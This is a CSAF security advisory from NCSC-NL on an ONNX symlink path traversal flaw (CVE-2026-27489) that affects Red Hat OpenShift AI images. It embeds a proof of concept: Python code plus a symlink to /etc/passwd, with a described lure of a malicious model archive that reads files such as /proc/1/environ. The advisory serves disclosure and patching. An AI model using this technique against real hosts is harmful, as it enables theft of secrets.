{ "document": { "category": "csaf_base", "csaf_version": "2.0", "distribution": { "tlp": { "label": "WHITE" } }, "lang": "en", "notes": [ { "category": "legal_disclaimer", "text": "The Netherlands Cyber Security Center (henceforth: NCSC-NL) maintains this portal to enhance access to its information and vulnerabilities. The use of this information is subject to the following terms and conditions:\n\nThe vulnerabilities disclosed in this portal are gathered by NCSC-NL from a variety of open sources, which the user can retrieve from other platforms. NCSC-NL makes every reasonable effort to ensure that the content of this portal is kept up to date, and that it is accurate and complete. Nevertheless, NCSC-NL cannot entirely rule out the possibility of errors, and therefore cannot give any warranty in respect of its completeness, accuracy or real-time keeping up-to-date. NCSC-NL does not control nor guarantee the accuracy, relevance, timeliness or completeness of information obtained from these external sources. The vulnerabilities disclosed in this portal are intended solely for the convenience of professional parties to take appropriate measures to manage the risks posed to the cybersecurity. No rights can be derived from the information provided therein.\n\nNCSC-NL and the Kingdom of the Netherlands assume no legal liability or responsibility for any damage resulting from either the use or inability of use of the vulnerabilities disclosed in this portal. This includes damage resulting from the inaccuracy of incompleteness of the information contained in it.\nThe information on this page is subject to Dutch law. All disputes related to or arising from the use of this portal regarding the disclosure of vulnerabilities will be submitted to the competent court in The Hague. This choice of means also applies to the court in summary proceedings." } ], "publisher": { "category": "coordinator", "contact_details": "cert@ncsc.nl", "name": "National Cyber Security Centre", "namespace": "https://www.ncsc.nl/" }, "title": "CVE-2026-27489", "tracking": { "current_release_date": "2026-04-02T15:16:05.017499Z", "generator": { "date": "2026-02-17T15:00:00Z", "engine": { "name": "V.E.L.M.A", "version": "1.7" } }, "id": "CVE-2026-27489", "initial_release_date": "2026-03-31T23:07:44.784716Z", "revision_history": [ { "date": "2026-03-31T23:07:44.784716Z", "number": "1", "summary": "CVE created.| Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (2).| CWES updated (1)." }, { "date": "2026-03-31T23:07:54.662172Z", "number": "2", "summary": "NCSC Score created." }, { "date": "2026-04-01T18:39:27.325956Z", "number": "3", "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products created (1).| References created (2).| CWES updated (1)." }, { "date": "2026-04-01T18:39:30.743119Z", "number": "4", "summary": "NCSC Score updated." }, { "date": "2026-04-01T19:39:24.762614Z", "number": "5", "summary": "Unknown change." }, { "date": "2026-04-01T23:04:53.787514Z", "number": "6", "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (2).| CWES updated (1)." }, { "date": "2026-04-01T23:04:55.791863Z", "number": "7", "summary": "NCSC Score updated." }, { "date": "2026-04-02T00:27:49.161514Z", "number": "8", "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products connected (16).| Product Identifiers created (1).| References created (4).| CWES updated (1).| Vendor_assessment created." }, { "date": "2026-04-02T00:28:05.523650Z", "number": "9", "summary": "NCSC Score updated." }, { "date": "2026-04-02T15:12:19.247594Z", "number": "10", "summary": "Source connected.| CVE status created. (valid)| EPSS created." }, { "date": "2026-04-02T15:12:27.532707Z", "number": "11", "summary": "NCSC Score updated." } ], "status": "interim", "version": "11" } }, "product_tree": { "branches": [ { "branches": [ { "branches": [ { "category": "product_version_range", "name": "vers:rpm/unknown", "product": { "name": "vers:rpm/unknown", "product_id": "CSAFPID-1439279", "product_identification_helper": { "cpe": "cpe:/a:redhat:openshift_ai" } } } ], "category": "product_name", "name": "Red Hat OpenShift AI (RHOAI)" }, { "branches": [ { "branches": [ { "category": "product_version_range", "name": "vers:rpm/unknown", "product": { "name": "vers:rpm/unknown", "product_id": "CSAFPID-5276225" } } ], "category": "product_name", "name": "odh-openvino-model-server-rhel9" }, { "branches": [ { "category": "product_version_range", "name": "vers:rpm/unknown", "product": { "name": "vers:rpm/unknown", "product_id": "CSAFPID-5068100" } } ], "category": "product_name", "name": "odh-pipeline-runtime-datascience-cpu-py312-rhel9" }, { "branches": [ { "category": "product_version_range", "name": "vers:rpm/unknown", "product": { "name": "vers:rpm/unknown", "product_id": "CSAFPID-5068105" } } ], "category": "product_name", "name": "odh-pipeline-runtime-pytorch-cuda-py312-rhel9" }, { "branches": [ { "category": "product_version_range", "name": "vers:rpm/unknown", "product": { "name": "vers:rpm/unknown", "product_id": "CSAFPID-5222767" } } ], "category": "product_name", "name": "odh-pipeline-runtime-pytorch-llmcompressor-cuda-py312-rhel9" }, { "branches": [ { "category": "product_version_range", "name": "vers:rpm/unknown", "product": { "name": "vers:rpm/unknown", "product_id": "CSAFPID-5068108" } } ], "category": "product_name", "name": "odh-pipeline-runtime-pytorch-rocm-py312-rhel9" }, { "branches": [ { "category": "product_version_range", "name": "vers:rpm/unknown", "product": { "name": "vers:rpm/unknown", "product_id": "CSAFPID-5068110" } } ], "category": "product_name", "name": "odh-pipeline-runtime-tensorflow-cuda-py312-rhel9" }, { "branches": [ { "category": "product_version_range", "name": "vers:rpm/unknown", "product": { "name": "vers:rpm/unknown", "product_id": "CSAFPID-5155537" } } ], "category": "product_name", "name": "odh-pipeline-runtime-tensorflow-rocm-py312-rhel9" }, { "branches": [ { "category": "product_version_range", "name": "vers:rpm/unknown", "product": { "name": "vers:rpm/unknown", "product_id": "CSAFPID-5068114" } } ], "category": "product_name", "name": "odh-workbench-codeserver-datascience-cpu-py312-rhel9" }, { "branches": [ { "category": "product_version_range", "name": "vers:rpm/unknown", "product": { "name": "vers:rpm/unknown", "product_id": "CSAFPID-5068116" } } ], "category": "product_name", "name": "odh-workbench-jupyter-datascience-cpu-py312-rhel9" }, { "branches": [ { "category": "product_version_range", "name": "vers:rpm/unknown", "product": { "name": "vers:rpm/unknown", "product_id": "CSAFPID-5068126" } } ], "category": "product_name", "name": "odh-workbench-jupyter-pytorch-cuda-py312-rhel9" }, { "branches": [ { "category": "product_version_range", "name": "vers:rpm/unknown", "product": { "name": "vers:rpm/unknown", "product_id": "CSAFPID-5222780" } } ], "category": "product_name", "name": "odh-workbench-jupyter-pytorch-llmcompressor-cuda-py312-rhel9" }, { "branches": [ { "category": "product_version_range", "name": "vers:rpm/unknown", "product": { "name": "vers:rpm/unknown", "product_id": "CSAFPID-5068128" } } ], "category": "product_name", "name": "odh-workbench-jupyter-pytorch-rocm-py312-rhel9" }, { "branches": [ { "category": "product_version_range", "name": "vers:rpm/unknown", "product": { "name": "vers:rpm/unknown", "product_id": "CSAFPID-5068131" } } ], "category": "product_name", "name": "odh-workbench-jupyter-tensorflow-cuda-py312-rhel9" }, { "branches": [ { "category": "product_version_range", "name": "vers:rpm/unknown", "product": { "name": "vers:rpm/unknown", "product_id": "CSAFPID-5155538" } } ], "category": "product_name", "name": "odh-workbench-jupyter-tensorflow-rocm-py312-rhel9" }, { "branches": [ { "category": "product_version_range", "name": "vers:rpm/unknown", "product": { "name": "vers:rpm/unknown", "product_id": "CSAFPID-5068134" } } ], "category": "product_name", "name": "odh-workbench-jupyter-trustyai-cpu-py312-rhel9" } ], "category": "product_family", "name": "Red Hat OpenShift AI (RHOAI)" } ], "category": "vendor", "name": "Red Hat" }, { "branches": [ { "branches": [ { "category": "product_version_range", "name": "vers:unknown/<1.21.0", "product": { "name": "vers:unknown/<1.21.0", "product_id": "CSAFPID-5982384" } } ], "category": "product_name", "name": "onnx" } ], "category": "vendor", "name": "onnx" } ] }, "vulnerabilities": [ { "cve": "CVE-2026-27489", "cwe": { "id": "CWE-23", "name": "Relative Path Traversal" }, "notes": [ { "category": "description", "text": "### Summary\nA path traversal vulnerability via symlink allows to read arbitrary files outside model or user-provided directory. \n\n### Details\nThe following check for symlink is ineffective and it is possible to point a symlink to an arbitrary location on the file system:\nhttps://github.com/onnx/onnx/blob/336652a4b2ab1e530ae02269efa7038082cef250/onnx/checker.cc#L1024-L1033\n\n`std::filesystem::is_regular_file` performs a `status(p)` call on the provided path, which follows symbolic links to determine the file type, meaning it will return true if the target of a symlink is a regular file. \n\n\n### PoC\n\n\n\n```python\n# Create a demo model with external data\nimport os\nimport numpy as np\nimport onnx\nfrom onnx import helper, TensorProto, numpy_helper\n\ndef create_onnx_model(output_path=\"model.onnx\"):\n weight_matrix = np.random.randn(1000, 1000).astype(np.float32)\n\n X = helper.make_tensor_value_info(\"X\", TensorProto.FLOAT, [1, 1000])\n Y = helper.make_tensor_value_info(\"Y\", TensorProto.FLOAT, [1, 1000])\n W = numpy_helper.from_array(weight_matrix, name=\"W\")\n\n matmul_node = helper.make_node(\"MatMul\", inputs=[\"X\", \"W\"], outputs=[\"Y\"], name=\"matmul\")\n\n graph = helper.make_graph(\n nodes=[matmul_node],\n name=\"SimpleModel\",\n inputs=[X],\n outputs=[Y],\n initializer=[W]\n )\n\n model = helper.make_model(graph, opset_imports=[helper.make_opsetid(\"\", 11)])\n onnx.checker.check_model(model)\n\n data_file = output_path.replace('.onnx', '.data')\n\n if os.path.exists(output_path):\n os.remove(output_path)\n if os.path.exists(data_file):\n os.remove(data_file)\n\n onnx.save_model(\n model,\n output_path,\n save_as_external_data=True,\n all_tensors_to_one_file=True,\n location=os.path.basename(data_file),\n size_threshold=1024 * 1024\n )\n\nif __name__ == \"__main__\":\n create_onnx_model(\"model.onnx\")\n```\n\n1. Run the above code to generate a sample model with external data.\n2. Remove `model.data`\n3. Run `ln -s /etc/passwd model.data`\n4. Load the model using the following code\n5. Observe check for symlink is bypassed and model is succesfuly loaded\n\n```python\nimport onnx\nfrom onnx.external_data_helper import load_external_data_for_model\n\ndef load_onnx_model_basic(model_path=\"model.onnx\"):\n model = onnx.load(model_path)\n return model\n\ndef load_onnx_model_explicit(model_path=\"model.onnx\"):\n model = onnx.load(model_path, load_external_data=False)\n load_external_data_for_model(model, \".\")\n return model\n\nif __name__ == \"__main__\":\n model = load_onnx_model_basic(\"model.onnx\")\n\n```\n\nA common misuse case for successful exploitation is that an adversary can provide victim with a compressed file, containing `poc.onnx` and `poc.data (symlink)`. Once the victim uncompress and load the model, symlink read the adversary selected arbitrary file.\n\n\n### Impact\n\nRead sensitive and arbitrary files and environment variable (e.g. /proc/1/environ) from the host that loads the model.\n\nNOTE: this issue is not limited to UNIX.\n\n### Sample patch\n\n```c\n#include \n#include \n#include \n#include \n\nint open_external_file_no_symlink(const char *base_dir,\n const char *relative_path) {\n int dirfd = -1;\n int fd = -1;\n struct stat st;\n\n // Open base directory\n dirfd = open(base_dir, O_RDONLY | O_DIRECTORY);\n if (dirfd < 0) {\n return -1;\n }\n\n // Open the target relative to base_dir\n // O_NOFOLLOW => fail if final path component is a symlink\n fd = openat(dirfd,\n relative_path,\n O_RDONLY | O_NOFOLLOW);\n close(dirfd);\n\n if (fd < 0) {\n // ELOOP is the typical error if a symlink is encountered\n return -1;\n }\n\n // Inspect the *opened file*\n if (fstat(fd, &st) != 0) {\n close(fd);\n return -1;\n }\n\n // Enforce \"regular file only\"\n if (!S_ISREG(st.st_mode)) {\n close(fd);\n errno = EINVAL;\n return -1;\n }\n\n // fd is now:\n // - not a symlink\n // - not a directory\n // - not a device / FIFO / socket\n // - race-safe\n return fd;\n}\n```\n\n### Resources\n\n* https://cwe.mitre.org/data/definitions/61.html\n* https://discuss.secdim.com/t/input-validation-necessary-but-not-sufficient-it-doesnt-target-the-fundamental-issue/1172\n* https://discuss.secdim.com/t/common-pitfalls-for-patching-path-traversal/3368", "title": "github - https://api.github.com/advisories/GHSA-3r9x-f23j-gc73" }, { "category": "description", "text": "Open Neural Network Exchange (ONNX) is an open standard for machine learning interoperability. Prior to version 1.21.0, a path traversal vulnerability via symlink allows to read arbitrary files outside model or user-provided directory. This issue has been patched in version 1.21.0.", "title": "cveprojectv5 - https://raw.githubusercontent.com/CVEProject/cvelistV5/main/cves/2026/27xxx/CVE-2026-27489.json" }, { "category": "description", "text": "Open Neural Network Exchange (ONNX) is an open standard for machine learning interoperability. Prior to version 1.21.0, a path traversal vulnerability via symlink allows to read arbitrary files outside model or user-provided directory. This issue has been patched in version 1.21.0.", "title": "nvd - https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2026-27489" }, { "category": "description", "text": "A flaw was found in Open Neural Network Exchange (ONNX), an open standard for machine learning interoperability. This path traversal vulnerability, exploitable via a symbolic link (symlink), allows an attacker to read arbitrary files located outside of the intended model or user-provided directories. This could lead to unauthorized information disclosure.", "title": "redhat - https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-27489.json" }, { "category": "other", "text": "0.00063", "title": "EPSS" }, { "category": "other", "text": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N", "title": "CVSSV4" }, { "category": "other", "text": "8.7", "title": "CVSSV4 base score" }, { "category": "other", "text": "4.0", "title": "NCSC Score" }, { "category": "other", "text": "Is related to (a version of) an uncommon product, The value of the most recent EPSS score", "title": "NCSC Score top decreasing factors" }, { "category": "details", "text": "Severity: 3\n", "title": "Vendor assessment" } ], "product_status": { "known_affected": [ "CSAFPID-5982384", "CSAFPID-1439279", "CSAFPID-5068100", "CSAFPID-5068105", "CSAFPID-5068108", "CSAFPID-5068110", "CSAFPID-5068114", "CSAFPID-5068116", "CSAFPID-5068126", "CSAFPID-5068128", "CSAFPID-5068131", "CSAFPID-5068134", "CSAFPID-5155537", "CSAFPID-5155538", "CSAFPID-5222767", "CSAFPID-5222780", "CSAFPID-5276225" ] }, "references": [ { "category": "external", "summary": "Source - github", "url": "https://api.github.com/advisories/GHSA-3r9x-f23j-gc73" }, { "category": "external", "summary": "Source - cveprojectv5", "url": "https://raw.githubusercontent.com/CVEProject/cvelistV5/main/cves/2026/27xxx/CVE-2026-27489.json" }, { "category": "external", "summary": "Source - nvd", "url": "https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2026-27489" }, { "category": "external", "summary": "Source - redhat", "url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-27489.json" }, { "category": "external", "summary": "Source - first", "url": "https://api.first.org/data/v1/epss?limit=10000&offset=0" }, { "category": "external", "summary": "Reference - cveprojectv5; github; nvd; redhat", "url": "https://github.com/onnx/onnx/security/advisories/GHSA-3r9x-f23j-gc73" }, { "category": "external", "summary": "Reference - github", "url": "https://github.com/advisories/GHSA-3r9x-f23j-gc73" }, { "category": "external", "summary": "Reference - cveprojectv5; nvd; redhat", "url": "https://github.com/onnx/onnx/commit/4755f8053928dce18a61db8fec71b69c74f786cb" }, { "category": "external", "summary": "Reference - redhat", "url": "https://www.cve.org/CVERecord?id=CVE-2026-27489" }, { "category": "external", "summary": "Reference - redhat", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-27489" } ], "scores": [ { "cvss_v3": { "version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N", "baseScore": 8.6, "baseSeverity": "HIGH" }, "products": [ "CSAFPID-1439279", "CSAFPID-5068100", "CSAFPID-5068105", "CSAFPID-5068108", "CSAFPID-5068110", "CSAFPID-5068114", "CSAFPID-5068116", "CSAFPID-5068126", "CSAFPID-5068128", "CSAFPID-5068131", "CSAFPID-5068134", "CSAFPID-5155537", "CSAFPID-5155538", "CSAFPID-5222767", "CSAFPID-5222780", "CSAFPID-5276225", "CSAFPID-5982384" ] } ], "title": "CVE-2026-27489" } ] }